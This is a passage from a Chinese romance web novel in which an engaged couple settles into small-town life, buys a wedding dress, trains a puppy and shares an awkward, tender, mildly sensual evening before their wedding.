秦思昭给李璋又倒了一杯热水,低声说道: “李兄做好准备,今后可能还会更糟,我等草民只有保全自己罢了。如今眼看着要入秋,恐怕这个冬天要不好过了。” 李璋长长地叹了一口气: “哎,你说之前都好端端的,怎么突然一下就变了呢……” 秦思昭把他的话堵了回去: “别打探了,这都不是咱们这些升斗小民该考虑的事。” 李璋并不解他的言外之意,只随便应和了一句。 陶金荣眼中情绪变得有些复杂,把头撇到了一边,眼帘低垂了下去,开始思绪不安。 事已至此,她后悔也没用了,顾时一家子听说都不怎么正常,他发疯也不能怪她。 忽然,她感到手心一阵温热,秦思昭轻轻握住了她的手,慢慢揉了两下,手指摩挲着她的手心,细致地安抚着她。 她觉得自己心一下就安了下来,像躺进了一团温暖的棉花似的,瞬间什么都不怕了,只觉得忽然松了口气一般。 他知道此时此刻她心里在为了什么而发愁,他在用自己的方式体贴地告诉她,不要为此感到自责。 她一下便再也管不住自己的眼睛,直直地看向他,她的眼睫变得湿润,视线里带上了依赖,甜蜜和渴望。 “咳咳……咳咳咳咳咳……” 李璋大声清了清嗓子,救命,他还在这儿呢,能不能收敛一点啊。 他知道他们新婚夫妇,浓情蜜意,郎才女貌天生一对,可是他二十多岁了还高不成低不就,不是他看不上别人,就是别人没看中他,说老说去也说不上一个条件合适的媳妇,求求秦思昭考虑一下他的感受吧。 看到李璋的神色,陶金荣也觉得有些尴尬,自己这样恐怕是不太得体,秦思昭最有礼有节,知进退的一个人,恐怕也不大喜欢她这个样子当着别人的面和他眉来眼去吧,她实在是仗着跟他亲近有些太放肆了。 她红着脸抽回了手,把手揣进袖子里,把眼睛撇到一边,故意不看秦思昭。 结果秦思昭却一个眼刀冷冷地打了过来,吓得李璋缩了缩脖子。 他也知道秦思昭远没有表面上看着那么好相处,只有熟悉后才能发现,秦思昭实际上性格颇有些古怪执拗的地方,非常难以亲近。 可是你们夫妇还有这么多时间,二人回了房后,爱怎么亲近便怎么亲近,不差这么一小会儿功夫,这秦思昭如今真是饱汉子不知*饿汉子饥,求他在单身汉子面前收敛一点吧。 “我走了……告辞……哈哈……新婚快乐小秦兄弟……” 李璋决定不在这里碍眼,赶紧脚下抹油,走为上。 李璋一走,陶金荣便马上像一只小猫似的,迫不及待又小心翼翼地试探着靠到秦思昭的怀里。 见秦思昭没躲着她,她便大着胆子去勾他的脖子,眨了眨眼睛,有些嗔怪地看着他。 “阿昭,我这个样子,会不会惹你心烦?” 第86章 秦思昭知道她是故意在和他调笑,耳朵根便微微红了起来,说道: “荣儿,先松手吧,我得去做饭。” “不要。” 她又把手箍得紧了一些,眼里带上了几分狡黠之意。 他轻轻摸着她的下巴,把她的脸扳正,轻轻亲吻了一下她的额头。 “荣儿,若是我再不去做饭,天色就要晚了。” 他垂下眼帘笑道: “我怎么可能觉得你烦呢。” 她对他的情意一时一刻都藏不住,他高兴还来不及。 可是在高兴之余,他对她却也真真切切地生出了一种独占欲……他看着她微微泛红的下唇,忽然很想咬上一口。 这种欲念让他产生了一种危机感,他对着她露出温柔的微笑,强行把自己的独占欲从心底压了下去,一丁点都不肯表现出来。 陶金荣便把手从他的脖子上松开,转而环住了他的腰,整个人靠在他的怀里,低声笑道: “那我便等着吃饭了。” 她转身后,阴霾爬上了她的双眼。 她独自回了房内,对着镜子,把自己的黑发梳理整洁,心中却满是不安和忧虑。 她想,毕竟这六年里她离真实的世界太远,衣食不缺……若是世道突然乱了起来,她确实一时半会儿不知道要怎样在乱世之中生存下去。 毕竟生活就像一片反复多变,喜怒无常的海,上一秒还是风平浪静,下一秒就会掀起滔天巨浪,人只能被这种浪潮卷得七荤八素,但还是得面对生活。 陶金荣咬了咬牙,不禁有些后悔自己浪费了太多的时间,没有用心学习一门能维生的技艺。 不过她不能一味消沉下去,从现在开始也不算晚,一切都还有重新来过的机会。 从前她遇到了很多让她觉得如同天塌了一般的困难,心中也有过很多伤痕,可那些伤痛如今已经全部彻底愈合了,根本没给她留下心理阴影。 如今看来,曾经的那些困扰不过是可笑的小事一桩罢了,不过是婚前有点烂桃花而已,对她而言算不上什么大事。 她看着窗外,一阵初秋的风刮掉了两三片刚刚开始脱落的叶子,又把那几片叶子从地上卷了起来,乘风而去。 如今若是世道一变,一切都是未知数,这个冬天,恐怕很多人要捱不过去了。 虽然前路依旧渺茫,不过陶金荣现在却对自己有了信心。 能从顾时的身边全身而退,这个难度丝毫不亚于脱离虎口。她现在觉得,世界上没有什么困难是她克服不了的。 她相信自己有足够的能力,只是需要一定的时间去学习和成长。 兵来将挡,水来土掩,她既不畏惧成为别人的负担,也不害怕成为别人的依靠。 一个声音柔柔地响了起来,声音平缓而悦耳: “荣儿,饭做好了,出来吃饭吧。” “来了。” 罢了,没什么好发愁的,谁也不知道未来会怎么样,她不想为了没发生的事情而无意义地感到忧虑,欢欢喜喜地三步并作两步去了餐桌。 秦思昭从院子里摘了两个青绿的辣椒,炖了一锅热气腾腾,冒着酱香的鸡肉,又贴了饼子。 “好吃。” 她摸着吃得饱饱的肚子,心满意足地说道。 吃饱喝足之后,她便和秦思昭一起收拾了桌子,他刷大铁锅,她收拾碗筷。 “嘤嘤嘤……” 她听到后院有奇怪的叫声,便放下碗筷,走出去看了看。 一只圆头圆脑,眼睛像葡萄一样黑的小狗崽子抬起头来,可怜巴巴地看着她。 原来是小狗崽子在哼哼唧唧,她知道这个岁数的狗崽子忽然离了母亲到了新家,都会有不安全感,是要焦急地叫上一天的。 她把它拎了起来,左看右看,说道: “通体漆黑,提起来也不瞎叫唤,是一条好狗。你等着,我弄点剩菜剩饭来给你吃。” 她把狗放回窝里,又进了厨房,从鸡骨头上把剩的肉撕下来放到小碗里。 “荣儿,你在做什么?” “我给狗弄点饭吃,狗不能吃煮熟的鸡骨头,会卡住然后噎死。” 秦思昭笑道: “我好像听说过这样的事,不过倒是没见过。也有些老乡会叫我去给牲畜看病,多数是些猪牛羊一类,偶尔也会治几条狗。” 他继续说道: “我挑的这条小狗以后能长到半人多高,养来看家护院的,我主要是怕你有什么不安全。” “甚好,我就喜欢凶猛些的狗。” 陶金荣笑了笑,又把那小碗端了出去,狗儿吃得摇头摆尾,吃完了便伸出舌头,猛地去舔舐她的手。 她嫌弃地用狗头擦了擦手。 “真脏。” 陶金荣回到厨房,秦思昭已经把厨房彻底收拾干净了,灶台也擦得反光。 “阿昭,我给那狗崽子取了个名,就叫大黑。” “荣儿,你稍等我一下。” 他像是想起了什么似的,独自走进了卧房里。 陶金荣觉得有些纳闷,跟着他走进了卧房,只见他搬了一张小竹床来,在上面铺了一层褥子,又铺了一层床单,上面放了一个枕头。 她没说话,只是靠在一边眨眨眼,静静地看着他。 “荣儿,还是暂时分床睡吧。” 秦思昭有些不好意思地说道。 “好。” 这次她没表示什么不满。 下个月的初五他们便正式成婚,若是能在大婚当日圆房也算是……颇为圆满,值得纪念。 想到这里,她说不上来为什么,只是莫名有些羞涩,脸红了起来,她觉得自己两颊灼热,两只手捂着莹白的面颊。 到了夜里,她也破天荒地没去闹腾秦思昭,稳稳当当地穿着中衣,自己在大床上甜甜蜜蜜睡过去了。 到了早上,秦思昭没叫她,陶金荣却没再睡到日上三竿,早早便自然醒了。 若是住在京城中,莫名其妙就会变得晚上睡不着,白天起不来,可若是住在家乡,就会变成很自然的早睡早起。 “荣儿,起这么早?” 秦思昭穿着中衣从小床上坐了起来。 她没有再像之前那般的不讲究,规规矩矩地穿着中衣坐在床上,即便是刚睡醒也没有什么倦意,两眼也亮晶晶的。 她摸了摸自己的胸口,像忽然想起什么了似的。 “阿昭,上次我洗的衣服晾在哪啦?” “我去给你拿过来吧。” 不过一会儿,秦思昭就把她之前从京城穿来的外衣和中衣拿了过来。 陶金荣有些尴尬,她说的明明不是这个。 “财不露白,穿这一身未免有些太招摇了些吧,我还是穿这样平常的衣裳就好。” 她把这素色的衣衫递回给了秦思昭。 在京城时,她的衣柜里根本翻不出来平平无奇的衣裳,这衣衫只是颜色素了些,可却一丁点都没有偷工减料,是上好的蚕丝密织,仅有的几处绣花都是双面绣。 秦思昭浅笑了一下,说: “你放心,小地方没那么多人识货,只觉得大红大绿,满头珠翠才是富贵。” 陶金荣有些尴尬地开口: “我不是要找外衣,我是……没有能换洗的小衣。这件外衣你就好好收在柜子里吧,或者拿去当钱也行。” 秦思昭的耳根也红了,清了清嗓子来掩饰自己的尴尬。 “抱歉,这方面我确实没有考虑周到。我去给你拿进来。” “不用,还是我去拿吧……” “我去吧,你不知道晾在哪了。” 秦思昭红着脸把陶金荣的肚兜和亵裤拿了进来,轻轻放在了她的床上,便掩面而去了,即使是丈夫,这个时候也得回避一下才好。 她脱下衣衫,把缠在胸前的绷带解了下来,重新把肚兜穿回了身上,又把亵裤穿好,把中衣,外衣,一件一件地穿了回去。 她拿着那一团绷带,走了出去,秦思昭就在外面等着。 “嗯?荣儿?怎么了?” “你的绷带,还给你……” 她红着脸把绷带放回了他的手上,那绷带还热腾腾的。 他展开仔细看了看,上面没有血迹,还隐隐约约闻到了一种若隐若现的香气,这绷带到底是干什么用的? “你别看了!看它干什么呀!” 陶金荣觉得自己双颊滚烫,不由自主地提高了声音。 “荣儿,这绷带到底是干什么用了?” 秦思昭把这绷带拿到鼻尖前面去,闻了一闻。 一阵暗暗的香气钻入鼻腔,确实是很好闻。 “好香。” 他随口说道。 见他竟然细细嗅闻她用来缠过双乳的布料,陶金荣没忍住提高了嗓音惊叫道: “你耍什么流氓!轻浮!” 她红着脸,伸出手去,一把把那绷带猛地抢了回来,赌气说道: “我不理你了!” “荣儿,到底怎么了?” 他仅仅有医学层面关于女性的知识,即使见她又羞又气,却依然没发现那绷带到底是干什么用的。 只是见她莫名其妙地生了气,他心中一下便十分急切,赶紧去握住她的手。 “荣儿,你别忽然生我气好不好,我哪里做错了?” 她羞愤地说: “怎么什么都要我解释清楚呢?” 她把那团布料塞进袖子里,实在是不好意思看他,更是不好意思解释。 第87章 陶金荣咬了咬下唇,心中觉得实在是好尴尬,用袖子掩盖着脸。 “罢了,罢了,我不生你气,只是你也别追问了。” 她觉得自己确实也不该莫名其妙地对秦思昭发火,索性把脸撇到一边,把这件事给糊弄过去算了。 “荣儿,你是不是有哪里的关节有磨损,需要用绷带绑紧来固定?” “都说了叫你别问……我没病,不是什么问题。” “哦。” 秦思昭便老老实实地不问了,只暗暗叹了口气,觉得她心思难猜了些。 本来好好的,干嘛忽然为了一团破布来凶他呢…… 他皱着眉,索性换了个话题: “荣儿,有些东西需要采买,你是和我同去还是在家里等着?” “我还是在家里等着吧。” 她把脸撇到了一边去,不肯看他。 外面忽然响起了一个沙哑的声音: “小秦师父,小秦师父……” 那声音颇为嘶哑古怪,令陶金荣听了纳闷,究竟是为何会发出那种声音,难不成是某种喉疾。 “你稍等一下,我去开门。” 不一会儿,一个十三四岁的毛头小子走了进来,手里还揣着一个边缘微微卷起的账本子。 “小秦师父,这是药店的账本子,我娘叫我给您拿过来,还请您过目。” 原来是个还在变声的孩子啊……陶金荣没忍住笑出了声,上次她在药店见过这个孩子,好像是叫虎子,她还纳闷这孩子为什么不肯打招呼,原来是因为变声才不愿意开口。 那孩子正在自尊心强的年纪,瞬间涨红了脸。 “笑什么笑,不许笑。” 因为嗓音变成这样,他都不愿意主动和人打招呼说话,她竟然笑他。 陶金荣见他揣了个账本子,便说: “拿过来给我看看。” 陶金荣倒是会看账本子,她爹娘嫌这个活儿耗神,便早早地交予了她,她大致翻了翻,说道: “略微有点盈利,但也不多。” “哼,毕竟小秦师父说了,药店不能利润太高,否则人人都要用不起药了。” “那倒也是。” 她把账本子递给了秦思昭,给他过目一遍。 “荣儿,我还有一处粮铺,也给你看账本子吧,以后家里的银钱都给你管着。” 说实话,陶金荣不怎么爱动脑子,想要拒绝这个差事,可转念一想,她总不能什么都让秦思昭去忙活,便答应了下来。 “行。” 她来算账管钱倒也没什么太大的问题,这样也能两个人一起规划支出。 虎子虽然有些叛逆,但还算是个勤快的孩子,他娘亲说秦思昭对他们娘俩照拂颇多,叫他来多帮忙干活,他虽然心中很不情愿,但还是冷着脸吭哧吭哧地去砍了柴火,又去挑了水。 陶金荣把秦思昭悄悄拉进房里,从包袱里拿出自己的私房钱,当着他的面儿点了点,说实话她现在可真后悔没多捞点钱再走。 “银钱我倒是存得不多,走之前我把好几件衣裳都烧了,留下这些金线,又剪下来了好多宝石,我也不知道值几个钱。” “这些宝石可以重新打个耳环,戴着你的耳朵上一定好看。” 他捏起一颗红宝石,在她洁白莹润的耳垂上比了比,侧着脸,眼神专注地看着她。 秦思昭眼下的泪痣让他的眼神更加湿润了些,看得陶金荣的脸红了一红。 “算了吧,太贵重,我怕走来走去的给弄丢了。” 陶金荣其实内心隐隐约约地不太喜欢打扮,虽然她也很爱漂亮,但那些垂坠琳琅的珠宝,繁复华美的衣裳在美丽之余会制造出很多微弱又频繁的疼痛感,想要维持外表的体面,就得忍受那些痛苦。 她现在不知为何,就是不想忍了。 “嗯,那就先收好吧。” 秦思昭把银票和珠宝都收拾到了盒子里,重新放好。 他凑近了些,趴在她的耳畔说。 “等到晚上,我再告诉你我在哪藏了银子。” 秦思昭说要带她去他的店里挨个看看,陶金荣便同他一起去,他驾着马车带着她,她时不时的就睁开眼睛,偷偷瞄一瞄他的背影。 他的背影看起来很瘦削,但却不瘦弱,是青年男子独有的身体线条,和绀青色的衣衫相得益彰,脖子纤长,头发乌黑,就像一只白鹤似的。 秦思昭一直都很温柔,很有分寸,关于她的过去,他从来都是闭口不提,一丁点都不打探,她知道他是因为不想伤害到她,但其实她不在乎的,就算叫她掰开了揉碎了给别人讲一遍,对她而言也算不上什么,她已经彻底走出来了。 想到下月初五便要和他成亲,她就隐隐约约期待了起来…… 主要是期待着婚礼的黄昏之后…… “荣儿,到了。这里便是粮铺。” 他手背微微有些青筋,手上有一点薄薄的茧子,他扶着她从马车上下来,这点肢体的亲近让她觉得十分满足,又生出了一点微妙的向往之情。 看粮铺的是一对中年夫妇,秦思昭开口介绍说道: “这是我娘子,姓陶,以后家中的产业便都由她来打理。” 看过了账本子之后,秦思昭又带着陶金荣去了杂货店。 “这家杂货店也是我之前考中举人时开的,里面的洗发皂卖得很好,我便拿一些回去一起用吧,还有护肤的油膏配方也不错。” “嗯。” 秦思昭挎着个竹篮子,里面装着杂货,看起来略微有些滑稽,陶金荣没忍住看着他笑了笑,趴在他的耳边小声说。 “一个大小伙子挎着个竹篮子,羞不羞?” “帮我娘子拿东西,羞什么。” 秦思昭哑然失笑,伸手想捏一捏她的脸,但考虑到周围还有走来走去的人,这样不太合适,便把手又收了回去。 “走,我带你去看嫁衣。” 想到下月初五的大婚,陶金荣便笑着点了点头。 进了一家摆满了布料的店,秦思昭开口问道: “有没有云县产的绣品?我想裁一身红嫁衣” “云县产的绣品一般都是特供上去,那边的东西可不好弄,况且每到秋天就得裁一波新衣裳,恐怕没有多余的布料哩。” 老板娘摇了摇扇子,漫不经心地说道。 陶金荣皱着眉头问道: “最近还有那么大的需求么?” “怎么没有,年年都有哩。” 陶金荣小声说道: “那恐怕今年要有积压了。” 老板娘变了脸色,说: “别瞎说,我在云县的亲戚刚按照往常的尺寸做了一批上好的衣裳,怎么会积压呢?” 秦思昭和陶金荣默契地相视一笑。 忽然,一个小姑娘脸上挂着泪,匆匆跑了进来说道: “姑母,我像往常一样把裁好的衣裳送上去,可人家非但不要,反倒把我臭骂了一顿。怎么办,衣裳都裁好了……我也不知道是怎么回事呀……” 她抱着老板娘开始嚎啕大哭。 “卖不出去,咱们一个季度就都白干了……” 那老板娘先是十分焦急,随后又露出了一副谄媚的神色。 “姑娘,都是特供的好东西,我瞧着你身材瘦,稍微改改便能穿上,你要不要……” 陶金荣淡然笑道: “特供的东西毕竟太奢侈了,我用不起。” 她想,云县的……好像也就供一些四季常服吧……她之前不怎么能看得上眼,多数都赏人了。 “价格好商量。这位小娘子,您相公好像还是个举人吧……” 老板娘有些急切,若是她不买,这地方便没人能消费得起了。 陶金荣打断了她的话: “不是还有县丞夫人吗?您要不问问县丞夫人要不要?” “哎呦,您有所不知,县丞夫人生得丰腴,是无论如何都穿不上的。” 此话不假,县丞夫人心宽体胖,每次都需要重新量体裁衣,不是随便改改就能穿上的,倒是面前这位姑娘生得苗条,和那批衣裳的尺寸差不离,就算有不合适的地方,稍微改改便能穿了。 “有红色的么?我只要一件嫁衣。” 陶金荣笑道: “若是嫁衣,穿得奢侈些也就罢了,可平常还是要节俭些才好。” 那小姑娘连连说道: “有红色的,有红色的……很快就能送来……” 老板娘伸出手,擦了擦那小姑娘脸上的泪说道: “我免费给您多绣些嫁衣的纹样,一共只收二两银子,您定下来吧。” 秦思昭只笑了笑,掏了二两银子出来,轻轻放在了柜台上。 “下月五号之前能送来吧。” 老板娘赶紧说道: “能,我直接派人送到您的府上。” 陶金荣随口问道: “老板娘,那些当官的收购这些衣裳是多少钱一件呢?” “三两银子一件。” 她眼眸一暗,可真是层层加码,到了京城又摇身一变,变成八十两银子一件了。 “谢过老板娘,我们先走了。” 她挽着秦思昭的胳膊便走了出去,他问她: “真的不要那些衣服么?多买几件也不是不行。” “不用,我现在用不上穿那么招摇。” 陶金荣只期待大婚的那天。 秦思昭见四下无人,便亲了亲她的脸颊,说道: “好,反正银钱也是归你管,你说了算吧。” 他见她没有躲。 她早上同他闹了点脾气,可应该不至于厌烦了他吧。 第88章 二人回到家后,一起吃过了饭,天色略有些晚了,秦思昭便点了蜡烛,翻出来了一本日历,用毛笔划算着日子。 八月初五便是他们大婚的日子,他得把时间规划好。 陶金荣忽然从他后面探出头来,兴致勃勃地问: “离下月初五还有几天?” 秦思昭看着她的侧颜说道: “算起来只剩下七天了,时间有些紧。” 她笑着张开双臂,从后面环住他的脖子,整个人压在他的后背上,趴在他耳畔说: “我倒是盼着日子过得快一些才好。” 她把他搂得更紧了些,用脸颊亲密地贴紧了着他。 她已经拔掉了簪子,黑发蓬松地落了下来,就像一棵柳树,他猛然瞥见她嘴唇上一抹娇艳莹润的血色, 那一抹血色看得他莫名其妙有些焦躁,又生出了一点微妙的占有欲来。 确实很想……咬上一口…… 那种说不清道不明的感觉又出现在了他的心头,他莫名其妙地产生了一种罪恶感,他是不是不该用这种眼神去看她。 秦思昭看着她,努力维持一个温润的笑容,一如既往。 他伸出手去,轻轻摸着她的脸颊,气氛变得暧昧了起来。 他也许是想跟她接吻……陶金荣这样想着,便眨了眨眼,把眼睛闭上了。 下唇忽然一痛。 陶金荣的眼眶微微发酸,那唇上的感觉与其说是痛,倒不如说是痒而酥麻,这一丁点似有似无的麻,反倒给她的身子带出了一点别的想法。 意识到这一点,陶金荣的脸变得绯红,连带着耳朵都红了起来。 她嗫嚅着带着一个牙印的下唇说道: “忽然咬我做什么?” 她有些委屈地看着他。 “疼吗?” “也不是很疼……” 秦思昭抚着她的脸颊,看着她的双眼问: “那可以再咬一下吗?我不用力。” “……” 陶金荣不语,只红了一张脸,秦思昭又问了一遍。 “让我再咬一下,可以吗?” 带了一个圆滚滚的牙印,她的下唇变得更红了几分,他目不转睛地盯着她变得红艳的下唇。 不知怎的,他伸出手去,放在了她的腰侧。 她的腰部很瘦,他摸到了她的肋骨,手慢慢地往下滑,加了几分力气。 陶金荣觉得他掌心的热意一路传到了她的脊柱上,连带着小腹一起产生了一种难以宣之于口的酸麻之意。 她的脸更红了几分,不断躲避着他的视线,觉得整个身子都热了起来。 “可以吗?” 他另一只手轻轻拨正她的脸,略带强迫地让她看着他。 陶金荣看着他的眼睛,他的睫毛微微垂了下来,双眼皮的褶皱清晰可见,眼白微微泛红,双眼专注地看着她,好像全世界就只剩下她一个人了似的。 她看着他眼角的那颗小痣,抿了抿嘴唇说道: “那你先让我咬你一下。” “可以。” 秦思昭点点头。 他继续问: “你想咬哪里?” 陶金荣拉着他的袖子,把他从头到脚,仔仔细细地看了一遍,他的脖子细长,肩膀平直,小臂比看起来更加结实,手背有微微凸起的青筋。 咬哪里比较好呢? 她低垂着眼眸,眼底满是说不清道不明的情愫。 “肩膀。” “那恐怕不太方便,得脱衣服才行……” “不可以吗?” 她拉了拉他的袖子。 太阳只剩下一点点微弱的余晖,卧房里点上了烛火,摇摇晃晃地把卧房染成了橘红色。 陶金荣的声音听在他的耳朵里,仿佛像一个小钩子在勾着他似的。 “好吧,可是我有点不好意思,我先把灯火熄灭可以吗?” 她点了点头,他拉着她的手,一起坐到了床上,一扭头,把手上的仅剩的一盏灯火吹灭。 空气变得很静,屋子里很暗很暗,几乎是伸手不见五指,视觉被剥夺,陶金荣什么都看不见,只听到了他解开腰带,窸窸窣窣的响声。 “你咬吧。” 她只能伸出手去,确认着他的存在。 她先是摸到了他最坚硬的手肘,又一路往上,摸到了他的脖子和喉结。 “轻一点。” 确实,喉结比较脆弱,她不能太用力地去摸,她只用手指顺着他的肩颈线条,轻轻摸了下去。 她将唇凑了过去,实实在在地咬上了一口。 “嘶……好痛……” 陶金荣又伸手去揉了揉被咬过的那一处牙印,柔声说道: “揉揉就好啦……” 她的柔声细语被一个急促的声音打断。 “该换我了。” 他单手扣住她的后脑,急不可耐地噬咬着她柔软的唇,夜色似乎卸下了很多包袱,他整个身子压了过去,因体重的惯性,直接把她压在了身下。 理智的堤坝微微松动了,被压抑已久的洪水便一下泄了出来。 他急促地吻着她,舌头探入了她的口腔,纠缠着她的舌。他不知该如何把这个吻进行下去,便急切地啃咬了几下。 陶金荣把脚踝搭在了他的腿弯上,用膝盖蹭了蹭他的腰侧。 他的胸膛上下起伏着,呼吸也变得急促了起来,只用啃咬来发泄自己心中的欲念。 “疼……” 她眉头轻蹙,伸手轻轻推了秦思昭一下,却又恋恋不舍地用腿去蹭着他的腰侧,他实在是吻得有些没轻没重了些,她虽然也喜欢,但也得稍微收着点才好。 血腥味在他的齿尖弥漫开来,秦思昭舔了舔自己的尖尖的虎牙。 他起身,用火折子点燃了蜡烛,抱着一种欣赏战果的心态,仔细看了看陶金荣的唇。 她的嘴唇泛着一层水光,一个血印子明晃晃地出现在她的唇上,因充血而微微肿胀了起来,泛着迷离的艳色。 她的眼睛也是,微微泛红,蒙着一层艳湿的泪光,整个人几乎是陷在了床里,像是下一秒就要哭出来了似的。 她用膝盖轻轻地蹭他,恐怕是因为太痛又说不了话,在想办法求饶吧…… 看着她楚楚可怜的样子,一种负罪感瞬间涌上秦思昭的心头。 他是不是不该用那种眼神去看她……自己有些太过分了……为了一己私欲,欺负了她。 如此一来,她会不会厌倦了他?她会不会觉得他不是一个值得信任的好人? 他用手帕轻轻擦着她微微渗血的唇,恳切说道: “荣儿,对不起……我……我不是有意要欺负你的……原谅我好不好?我不会在这样了……我保证。” 啥?他在说什么呢?为什么不继续呢? 陶金荣有点懵圈了,呆呆地躺在了床上,没反应过来,甚至都没听清楚他在说什么。 “你嘴唇流血了,我去弄点药膏给你。” 哦,药膏啊,用来润滑的,还是用来助兴的?有也行,没有也行,不是必选项,如果当天状态不好还是得用一下的,不过今天她觉得自己还行,应该用不着多余的药物来润滑。 陶金荣还在一个神游天外的状态,根本没反应过来,用本能代替了大脑的思考。 过了一会儿,秦思昭拿着一个指甲大的小盒过来了。 “我来给你涂上吧。” “哦。” 他若是愿意帮她涂上,也不是不行,陶金荣便呆呆地去解自己的腰带,嘴唇忽然感到了一片冰凉,清苦的药味钻进了她的鼻腔。 她愣愣地问: “阿昭,这药膏是干什么用的?” “消肿止血。” 他细细地把药膏涂抹到了她的唇上,重复了一遍: “你嘴唇渗出了一点血,我给你涂上。” 陶金荣的脸一下子便红透了。 她真是想歪了,直接南辕北辙,简直拐到什么地方去了,世界上的药膏有成千上百种,怎么自己脑子里就剩下那些下三路的东西了…… 不过人在某种时候,脑子就会特别的不好使,这也不能完全怪她。 “荣儿,对不起……真的对不起……我一时糊涂了,下回一定不这样了,你不要怪我好不好。” 他握着她的手,把自己的脸颊贴到了她的手上。 不是?他在干什么呢? 嘴唇上的药膏里加了冰片,十分清凉,确实有消肿止痛的功效,这种凉意让陶金荣将将回过神来。 “荣儿,跟我说句话吧,我知道自己错了,你不要不理我好不好?” 他轻轻亲了亲她的手背,说: “别生气了。” “啊?” 陶金荣睁大了眼睛,发出了一个单纯的音节来表示疑问。 “我为什么要生气啊?” 她觉得有些莫名其妙,秦思昭为什么突然开始道歉了? 陶金荣仔细看了看他,他已经穿上了中衣,表情也变得略微有些严肃,微微垂着眼睑,眸子里略带歉意,几乎不敢把视线放在她的身上。 她没忍住想笑,又不敢笑出声来,硬生生憋了回去。 现在横竖也是睡觉的时候,陶金荣伸手解开了自己的腰带,把外衣尽数脱了,丢到秦思昭手里,只穿着中衣。 “为什么不继续呢?” 她拽着他的领子,把他拉到了自己的身前,温热的呼吸就打在了他的耳畔,她用轻柔的嗓音说道: “让我再咬你的嘴唇一下,这样才能扯平呢。” 她直接把手放在他的腰侧,轻轻环抱着他。 第89章 “荣儿,还是睡觉吧。” 他愧疚地皱着眉,轻轻地把她的手从他的腰侧按了下去,伸手把被子给她盖好。 “马上入秋了,天气略有些凉,你睡觉时把被子盖好,晚安。” 被子一盖,困意便袭来,陶金荣没再做声,只迷迷糊糊地睡着了。 次日,她梳洗后坐在镜子前面看了看,嘴唇上的伤已经好了大半,已经不见了齿痕,只留下几点断断续续的痕迹。 “荣儿……” 秦思昭想站在她身边,又刻意往后退了几步。 陶金荣注意到了他的犹豫,她早就已经受够了误会,只想把所有的话都一口气说清楚,便抢在他前面开口: “没关系,没什么的。” “……” 秦思昭依然不敢看她,只把眼睛撇到了一旁。 她索性伸手拉住了他的袖子,急促说道: “夫妻这个样子也很正常吧,反正我觉得无所谓的,这点小事你没必要放在心上。” 秦思*昭不过是咬了她的嘴唇一下,这在她的认知里根本算不上什么。说实话,这点轻微的疼痛在她的经历里根本就排不上号。 他沉默了半晌后,缓缓开口: “荣儿,我只是不想你为了让我高兴而委屈自己。” 陶金荣一下子愣住了,怔怔地看着他。 其实她不是一味自怜自艾的人,从来也没觉得自己有什么可委屈的,能过得了就过,受不了就算了,只讲究一个痛痛快快。 只是从未有人对她这般上心过…… 被人用心爱怜的感觉确实很好。 她嘴角微微勾起,鼻子却有些酸涩,她把头靠在他的肩膀上,在他耳畔低声说道: “和你在一起我开心还来不及,哪里会委屈?我不委屈的。” 秦思昭只轻轻亲吻了她的额头。 一连几日,家里添了许多烟火气,陶金荣也安安心心地在这里住了下来,维持着平淡且快乐的日常,这样的日子没什么值得大书特书的特别之处,可她却希望自己永远都能过这样的日子。 只是这几日里,秦思昭待她异常客气,丝毫没有半点逾矩之处。 秦思昭拿来了一个沉甸甸的木盒子,把盖子打开,里面是一件红色的嫁衣。 “荣儿,试一试嫁衣吧。” 陶金荣把这件嫁衣拎起来,上面的刺绣很细,但花样上也没有什么特别之处,就是一件传统端正的嫁衣。 “好,只是这嫁衣繁琐一些,你得帮我才能试。” 她随手把嫁衣放回木盒子里,继续说: “横竖也办不了婚契,大婚不过是走个过场,依我看也没必要请客,吵吵闹闹的,我不太喜欢,只有我们两个人喝个交杯酒就好。” 小地方黑户多,成亲不领婚契本身也没什么奇怪之处,倒不如说只有小部分讲究人才办了婚契,婚礼也是办得五花八门,什么样的都有,有为了面子一味攀比的,也有请两家人吃顿饭,凑合凑合拉倒的。 秦思昭看着她浅浅笑了一下: “好,就听你的。” 只要人是对的,婚礼怎么办都成,不过就是个仪式罢了。 确实,没有必要让很多无关紧要的人来见证他们的成亲,双方的父母都已经不在,很多仪式秦思昭也不知道该怎么操办是好。 她脱掉了自己的外衣,只穿着中衣,秦思昭站在她的身后,心中被她搅得七上八下发了慌,只规规矩矩地给她把嫁衣穿上了。 “尺寸倒是差不多。” 秦思昭仔仔细细地看了一遍。 “我是会做些简单针线活的,若是你有哪里穿得不舒服便跟我说。” 这些年来,秦思昭一个人在外,什么都得靠自己,渐渐地变得什么都会做,就连补衣服这类针线活都能做得很好。 陶金荣走到后院去想把自己洗好的小衣收回去,却发现小衣不见了。 莫非是被风吹走了?可是她就那么一件小衣……这类贴身的衣裳都是自己动手去做,外面是买不来的,可她又不会女红,若是丢了,还真不知道从哪里去买。 她几乎一丁点女红都不会做,说实话,真不是什么值得骄傲的事。 陶金荣咬着下唇,走进了秦思昭的书房。 “阿昭,你看见我的小衣了吗?” 话声刚落,就见秦思昭把她的肚兜铺在桌子上,用卷尺比划着,抿着嘴唇,双眼直直盯着,认认真真地打版,简直就像是在研究一本非常深奥的书一般。 见她过来,他有些不好意思地回头说道: “荣儿,我买了一批好一点的布料,帮你裁几件换着穿吧……” “……” 陶金荣沉默了半晌,说道: “多谢了。” 本来是她自己该做的分内事,却也要秦思昭帮她来做……她也实在是有些羞愧难当,他应当是早就看出来她不怎么擅长女红了…… 他仔仔细细地比对着衣裳的尺寸,说: “没关系,如果只是做件简单的衣裳是没什么问题的,你先出去吧。” 她看出来了他正专心做事,不太喜欢人打扰,便默默地出去了。 她走到后院里,这个岁数的小狗长得飞快,已经大了一圈,瞪着黑溜溜的眼睛,吐着舌头看着她,尾巴一晃一晃的,十分憨态可掬。 “大黑坐下。” 小狗便乖乖坐好,陶金荣丢下一个小号的稻草人,命令道: “咬!” 那狗儿开始还不解其意,一味地凑过来撒娇耍痴,却被陶金荣忽略了。 陶金荣又把那稻草人丢在它的嘴边,命令道: “咬。” 狗儿叼住了那稻草人,摇头晃脑地撕咬了起来,喉咙里还发出呜呜的咆哮声。 陶金荣摸了摸它的头,称赞道: “好狗,以后若是来了招我讨厌的人,你便这样咬,明白了吗?” 她垂眸,补充了一句: “咬得越狠越好,最好是连命根子一起咬下来。” 这话说的多少带点私人恩怨。 狗儿不解其意,尚且不知陶金荣是叫它去咬谁,只咬着稻草人,摇了摇尾巴。 “松口。” 她把稻草人往外拽,小狗以为她是要和它玩拔河,莽着力气不肯松口。 